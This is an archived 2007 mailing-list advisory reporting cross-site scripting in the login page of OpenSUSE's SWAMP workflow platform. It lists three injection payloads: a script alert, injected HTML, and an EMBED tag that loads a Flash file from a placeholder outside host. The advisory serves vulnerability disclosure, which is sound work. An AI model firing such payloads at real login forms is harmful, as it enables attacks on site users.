|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Novell OpenSUSE SWAMP multiple XSS
morin.josh
gmail.com
Date: Tue Oct 23 2007 - 19:02:01 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Vendor Site: http://en.opensuse.org/Swamp
Version affected: ???
Demo:http://swampdemo.suse.de/webswamp/swamp/template/Index.vm
Class: Input Validation Error
Overview:OpenSUSE Workflow Administration and Management Platform login page fails to sufficiently sanitize user-supplied input data via login box.
Example:
1.<script>alert('xss')</script>
2.<html><font color="Red"><b>XSS</b></font></html>
3.<EMBED SRC="http://site.com/xss.swf"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]